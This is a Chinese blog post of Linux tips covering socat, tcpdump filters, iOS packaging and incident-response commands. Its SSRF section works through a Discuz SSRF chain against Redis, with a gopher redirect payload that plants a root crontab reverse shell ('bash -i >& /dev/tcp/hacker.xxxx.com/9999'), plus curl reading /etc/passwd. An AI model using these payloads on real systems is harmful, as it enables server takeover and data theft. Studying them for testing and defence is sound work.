linux小技巧

介绍几个在linux平台运行的工具,顺带表扬下我用了一年的腾讯云学生机

socat

socat的安装

Centos

1
$ yum install -y socat

Debian/Ubuntu

1
$ apt-get install -y socat

macOS

1
$ brew install socat

使用实例

1.读文件

1
2
3
4
5
# 从绝对路径读取
$ socat - /var/www/html/flag.php

# 从相对路径读取
$ socat - ./flag.php

写入文件

1
echo "This is Test" | socat - /tmp/hello.html

网络管理

  • 连接远程端口
1
$ socat - TCP:192.168.1.252:3306
  • 监听一个新端口
1
$ socat TCP-LISTEN:7000 -

端口转发

1
socat  -d -d -lf /var/log/socat.log TCP4-LISTEN:15672,bind=192.168.1.252,reuseaddr,fork TCP4:172.17.0.15:15672
1
2
3
4
5
6
7
>1. -d -d  前面两个连续的 -d -d 代表调试信息的输出级别。
>2. -lf /var/log/socat.log 指定输出信息的文件保存位置。
>3. TCP4-LISTEN:15672 在本地建立一个 TCP IPv4 协议的监听端口,也就是转发端口。这里是 15672,请根据实际情况改成你自己需要转发的端口。
>4. bind 指定监听绑定的 IP 地址,不绑定的话将监听服务器上可用的全部 IP。
>5. reuseaddr 绑定一个本地端口。
>6. fork TCP4:172.17.0.15:15672 指的是要转发到的服务器 IP 和端口,这里是 172.17.0.15 的 15672 端口。
>

转发 UDP

转发 UDP 和 TCP 类似,只要把 TCP4 改成 UDP4 就行了。

1
$ socat -d -d -lf /var/log/socat.log UDP4-LISTEN:123,bind=192.168.1.252,reuseaddr,fork UDP4:172

NAT映射

在一个 NAT 网络环境中,也是可以通过 Socat 将内部机器端口映射到公网上的。

在外部公网机器上执行

1
$ socat tcp-listen:1234 tcp-listen:3389

在内部私网机器上执行

1
$ socat tcp:outerhost:1234 tcp:192.168.1.34:3389

这样,你外部机器上的 3389 就映射在内网 192.168.1.34 的 3389 端口上了。不过这样场景下更推荐内网穿透神器 FRP,如果你不会使用,可参考「推荐一款很好用的内网穿透工具–FRP」一文。

配合CURL SSRF

什么地方最容易出现SSRF

  1. 云服务器商。(各种网站数据库操作)
  2. 有远程图片加载的地方。(编辑器之类的有远程图片加载啊)
  3. 网站采集、网页抓取的地方。(很多网站会有新闻采集输入url然后一键采集)
  4. 头像的地方。(某易就喜欢远程加载头像,例如:http://www.xxxx.com/image?url=http://www.image.com/1.jpg)
  5. 最后一个一切要你输入网址的地方和可以输入ip的都放,都是ssrf的天下。

SSRF漏洞的危害

  1. 对服务器所在的内网进行端口扫描,获取一些服务的banner信息等
  2. 攻击运行在内网或者本地的应用程序
  3. 对内网WEB应用进行指纹识别,通过访问默认文件实现(Readme等文件)
  4. 攻击内外网的WEB应用,主要是GET就可以实现的攻击(比如Struts2,SQL注入等)
  5. 下载内网资源(利用file协议读取本地文件等)
  6. 利用Redis未授权访问,HTTP CRLF注入达到getshell
  7. wooyun峰会猪猪侠的ppt
  8. 进行跳板
  9. 无视cdn

SSRF神器Curl的使用

查看curl支持的协议列表 #curl--config –protocols

  • 使用curl读取文件

    curl -v file:///etc/passwd

  • 使用ftp协议

    curl -v "ftp://127.0.0.1:6666/info"

  • 使用dict协议

    curl -v "dict://127.0.0.1:6666/info"

  • 使用gopher协议

    curl -v "gopher://127.0.0.1:6666/_info"

案例

ssrf.php内容

1
2
3
4
5
6
7
8
<?php

$ip=$_GET['ip'];
$port=$_GET['port'];
$scheme=$_GET['s'];
$data=$_GET['data'];

?>

① payload:

1
http://127.0.0.1/Discuz_X3.1/upload/forum.php?mod=ajax&action=downremoteimg&message=[img]http://hacker.xxxx.com/ssrf.php?s=ftp&ip=172.28.100.108&port=6666&data=he2lo.jpg[/img]

② socat的使用

本地kali监听,当在受害者网站执行上面的payload 的时候,本地的6666端口收到消息,然后将数据包发送给本地的172.28.100.108:6379(相当于内网中开放redis服务的6379端口)

1
socat -v tcp-listen:6666,fork tcp-connect:172.28.100.108:6379

③ kali本地执行

到redis服务器的上查看/var/spool/cron目录下已经创建了root文件内容为

1
*/1 * * * * bash -i >&/dev/tcp/hacker.xxxx.com/9999 0>&1 每一分钟向攻击者的服务器的9999端口建立连接

将socat的输出信息保存为1.txt,上传到公网服务器上


① 使用Python脚本转换为gopher支持的格式

在这之前应该检测是否支持gopher协议

1
python fpm.py 1.txt

② kali服务器上存放gopher.php

1
2
3
4
5
<?php

header("Location: gopher://172.28.100.108:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$62%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/hacker.xxxx.com/9999 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a%0a");

?>

③ 在受害者存在ssrf的网站上访问,本地nc监听 即可拿到shell

tcpdump

该命令应急以及平时都会经常使用到,linux下抓包观察流量的作用

监视指定网络接口的数据包

1
tcpdump -i eth1

也可以指定ip,例如截获所有210.27.48.1 的主机收到的和发出的所有的数据包

1
tcpdump host 210.27.48.1

抓取所有经过eth1,目的或源地址是192.168.1.1的网络数据

1
tcpdump -i eth1 host 192.168.1.1

监视指定主机和端口的数据包

如果想要获取主机210.27.48.1接收或发出的telnet包,使用如下命令

1
tcpdump tcp port 23 host 210.27.48.1

对本机的udp 123 端口进行监视 123 为ntp的服务端口

1
tcpdump udp port 123
  • 指定源地址
1
tcpdump -i eth1 src host 192.168.1.1
  • 指定目的地址
1
tcpdump -i eth1 dst host 192.168.1.1
  • 抓取所有经过eth1,目的或源端口是25的网络数据
1
tcpdump -i eth1 port 25
  • 指定源端口
1
tcpdump -i eth1 src port 25
  • 指定目的端口
1
tcpdump -i eth1 dst port 25

进阶用法

TCP标记值:

tcp-fin, tcp-syn, tcp-rst, tcp-push, tcp-push, tcp-ack, tcp-urg

  • 只抓SYN包
1
tcpdump -i eth1 'tcp[tcpflags] = tcp-syn'
  • 抓SYN, ACK
1
tcpdump -i eth1 'tcp[tcpflags] & tcp-syn != 0 and tcp[tcpflags] & tcp-ack != 0'
  • 抓PSH-ACK
1
tcpdump -i eth1 'tcp[13] = 24'
  • 抓所有包含FIN标记的包(FIN通常和ACK一起,表示幽会完了,回见)
1
tcpdump -i eth1 'tcp[13] & 1 = 1'
  • 抓RST(勾搭没成功,伟大的greatwall对她认为有敏感信息的连接发RST包,典型的棒打鸳鸯)
1
tcpdump -i eth1 'tcp[13] & 4 = 4'
  • 抓SMTP数据
1
tcpdump -i eth1 '((port 25) and (tcp[(tcp[12]>>2):4] = 0x4d41494c))'
  • 抓HTTP GET数据
1
tcpdump -i eth1 'tcp[(tcp[12]>>2):4] = 0x47455420'
  • 抓SSH返回
1
tcpdump -i eth1 'tcp[(tcp[12]>>2):4] = 0x5353482D'

ios打包成ipa

脚本自动生成ipa包

Step1: 新建文件夹,命名为“distribute”,新建distribute.sh脚本文件,内容为:(注意,脚本中所有appName请先替换成你的真正app名称)

1
2
3
4
5
6
7
8
9
rm -rf appName
mkdir appName
mkdir appName/Payload
cp -r appName.app appName/Payload/appName.app
cp Icon.png appName/iTunesArtwork
cd appName
zip -r appName.ipa Payload iTunesArtwork

exit 0

Step2: 将要转化的.app文件放到distribute/文件夹下

这时的文件夹目录结构是这样的:(注意,脚本中所有appName请先替换成你的真正app名称)

1
2
distribute/distribute.sh
distribute/appName.app

Step3: 运行distribute.sh脚本

打开Terminal,cd到distribute文件夹下,把distribute.sh拉到terminal中执行。如果提示permission denied,则用“chmod 777 distribute.sh”命令赋予权限后,再执行一次distribute.sh。

Step4: 大约若干秒后,会在distribute/文件夹下生成appName/文件夹,里面的appName.ipa就是我们想要的包。

手动压缩改后缀方式

这种方式与4.1的方法本质是一样的。

Step1: 新建“Payload”文件夹,注意名字要一字不差;

Step2: 将你的.app包放到Payload中,注意app的名字不做任何更改,就用xcode生成的app名称;

Step3: 在Payload文件夹上右键压缩成zip,然后将生成的.zip文件后缀改成.ipa即可

一些应急的linux命令

uniq

uniq命令用于报告或忽略文件中的重复行,一般与sort命令结合使用。

1
2
3
4
5
6
7
8
9
10
> -c或——count:在每列旁边显示该行重复出现的次数;
> -d或--repeated:仅显示重复出现的行列;
> -f<栏位>或--skip-fields=<栏位>:忽略比较指定的栏位;
> -s<字符位置>或--skip-chars=<字符位置>:忽略比较指定的字符;
> -u或——unique:仅显示出一次的行列;
> -w<字符位置>或--check-chars=<字符位置>:指定要比较的字符。
> sort file.txt | uniq -u 只显示单一行
> sort file.txt | uniq -c 统计各行在文件中出现的次数
> sort file.txt | uniq -d 在文件中找出重复的行
>

sort

sort命令是在Linux里非常有用,它将文件进行排序,并将排序结果标准输出。sort命令既可以从特定的文件,也可以从stdin中获取输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
> -b:忽略每行前面开始出的空格字符;
> -c:检查文件是否已经按照顺序排序;
> -d:排序时,处理英文字母、数字及空格字符外,忽略其他的字符;
> -f:排序时,将小写字母视为大写字母;
> -i:排序时,除了040至176之间的ASCII字符外,忽略其他的字符;
> -m:将几个排序号的文件进行合并;
> -M:将前面3个字母依照月份的缩写进行排序;
> -n:依照数值的大小排序;
> -o<输出文件>:将排序后的结果存入制定的文件;
> -r:以相反的顺序来排序;
> -t<分隔字符>:指定排序时所用的栏位分隔字符;
> +<起始栏位>-<结束栏位>:以指定的栏位来排序,范围由起始栏位到结束栏位的前一栏位。
>

awk

awk是一种编程语言,用于在linux/unix下对文本和数据进行处理。数据可以来自标准输入(stdin)、一个或多个文件,或其它命令的输出。它支持用户自定义函数和动态正则表达式等先进功能,是linux/unix下的一个强大编程工具。它在命令行中使用,但更多是作为脚本来使用。awk有很多内建的功能,比如数组、函数等,这是它和C语言的相同之处,灵活性是awk最大的优势。

1
2
3
4
5
6
常用命令选项

-F fs fs指定输入分隔符,fs可以是字符串或正则表达式,如-F:
-v var=value 赋值一个用户定义变量,将外部变量传递给awk
-f scripfile 从脚本文件中读取awk命令
-m[fr] val 对val值设置内在限制,-mf选项限制分配给val的最大块数目;-mr选项限制记录的最大数目。这两个功能是Bell实验室版awk的扩展功能,在标准awk中不适用。

当使用不带参数的print时,它就打印当前行,当print的参数是以逗号进行分隔时,打印时则以空格作为定界符。在awk的print语句块中双引号是被当作拼接符使用,例如:

1
2
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1,var2,var3; }'
v1 v2 v3

双引号拼接使用:

1
2
echo | awk '{ var1="v1"; var2="v2"; var3="v3"; print var1"="var2"="var3; }'
v1=v2=v3

{ }类似一个循环体,会对文件中的每一行进行迭代,通常变量初始化语句(如:i=0)以及打印文件头部的语句放入BEGIN语句块中,将打印的结果等语句放在END语句块中。

定位有多少 IP 在爆破主机的 root 帐号:

1
grep "Failed password for root" /var/log/secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

登录成功的 IP 有哪些:

1
grep "Accepted " /var/log/ secure | awk '{print $11}' | sort | uniq -c | sort -nr | more

head命令用于显示文件的开头的内容。在默认情况下,head命令显示文件的头10行内容。

1
2
3
4
-n<数字>:指定显示头部内容的行数;
-c<字符数>:指定显示头部内容的字符数;
-v:总是显示文件名的头信息;
-q:不显示文件名的头信息。

type

type命令用来显示指定命令的类型,判断给出的指令是内部指令还是外部指令。

命令类型:

  • alias:别名。
  • keyword:关键字,Shell保留字。
  • function:函数,Shell函数。
  • builtin:内建命令,Shell内建命令。
  • file:文件,磁盘文件,外部命令。
  • unfound:没有找到。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
[root@localhost ~]# type nginx
-bash: type: nginx: not found

[root@localhost ~]# type if
if is a shell keyword

[root@localhost ~]# type which
which is aliased to `alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde'

[root@localhost ~]# type -a cd
cd is a shell builtin

[root@localhost ~]# type -a grep
grep is /bin/grep

wc

wc命令用来计算数字。利用wc指令我们可以计算文件的Byte数、字数或是列数,若不指定文件名称,或是所给予的文件名为“-”,则wc指令会从标准输入设备读取数据。

1
2
3
-c或--bytes或——chars:只显示Bytes数;
-l或——lines:只显示列数;
-w或——words:只显示字数。

lastb

lastb命令用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于/var/log目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。

1
2
3
4
5
6
-a:把从何处登入系统的主机名称或ip地址显示在最后一行;
-d:将IP地址转换成主机名称;
-f<记录文件>:指定记录文件;
-n<显示列数>或-<显示列数>:设置列出名单的显示列数;
-R:不显示登入系统的主机名称或IP地址;
-x:显示系统关机,重新开机,以及执行等级的改变等信息。

find

1
find /var/www/html/ -type f -name  '*.php'|xargs grep 'eval' |more   查找php文件中带有eval字符串的文件

find:在指定目录下查找文件

\#  -name       //根据文件名查找(精确查找)

\#  -iname       //根据文件名查找,但是不区分大小写

\#  -user         //根据属主来查找文件

\#  -group        //根据属组来查找文件

\#find  /tmp  -uid  500  //查找uid是500 的文件

\#find  /tmp  -gid  1000 // 查找gid是1000的文件

\# -o 连接两个不同的条件(两个条件满足其一即可)

\# -not 对条件取反的

     -type

           f     // 普通文件

           d     //目录文件

           l     //链接文件

           b     //块设备文件

           c     //字符设备文件

           p     //管道文件

           s     //socket文件

[查找完执行的action]

\# -print                                 //默认情况下的动作

\# -ls                                     //查找到后用ls 显示出来

\# -ok  [commend]                //查找后执行命令的时候询问用户是否要执行

\# -exec [commend]              //查找后执行命令的时候不询问用户,直接执行

find /tmp -name "*.sh" -exec chmod u+x {} \;       //这里要注意{}的使用:替代查找到的文件

find /tmp -name "*.sh" -exec cp {} {}.old  \;         //这里要注意{}的使用:替代查找到的文件

find  /tmp  -atime  +30  –exec rm –rf  {}  \;         //删除查找到的超过30天没有访问过文件

find /var/www/ -type f -name  '*.php'|xargs grep 'eval' |more     //使用xargs来对查找到的文件进一步操作

-mtime -n +n 按文件更改时间来查找文件,-n 指 n 天以内,+n 指 n 天前

-atime -n +n 按文件访问时间来查找文件,-n 指 n 天以内,+n 指 n 天前

-ctime -n +n 按文件创建时间来查找文件,-n 指 n 天以内,+n 指 n 天前

1
2
find ./ -mtime 0 -name "*.php"	(查找 24 小时内被修改的 php 文件)
find / -ctime 2 (查找 72 小时内新增的文件)

ss特殊权限的文件查看

1
find / *.jsp -perm 4777

lsof

lsof命令用于查看你进程开打的文件,打开文件的进程,进程打开的端口(TCP、UDP)。找回/恢复删除的文件。是十分方便的系统监视工具,因为lsof命令需要访问核心内存和各种文件,所以需要root用户执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
> -a:列出打开文件存在的进程;
> -c<进程名>:列出指定进程所打开的文件;
> -g:列出GID号进程详情;
> -d<文件号>:列出占用该文件号的进程;
> +d<目录>:列出目录下被打开的文件;
> +D<目录>:递归列出目录下被打开的文件;
> -n<目录>:列出使用NFS的文件;
> -i<条件>:列出符合条件的进程。(4、6、协议、:端口、 @ip )
> -p<进程号>:列出指定进程号所打开的文件;
> -u:列出UID号进程详情;
> -h:显示帮助信息;
> -v:显示版本信息。
>
1
2
3
4
5
6
7
8
9
10
11
12

grep -rni "shell.name" * : 根据文件名特征查找

find / -size 1223123c : 根据文件大小特征查找

find / -mtime 1 -name * : 根据文件创建时间查找

lsof -p PID:查看进程占用信息

cd /proc/PID : 进入到进程中

cat * |strings -n 5 |more : 读取该进程内存中的信息

grep -rni "shell.name" * : 根据文件名特征查找

find / -size 1223123c : 根据文件大小特征查找

find / -mtime 1 -name * : 根据文件创建时间查找

lsof -p PID:查看进程占用信息

cd /proc/PID : 进入到进程中

cat * |strings -n 5 |more : 读取该进程内存中的信息

reference:

运维之美

Ms08067安全实验室

ssrf bypass大全

tcpdump 抓包

-------------本文结束感谢您的阅读-------------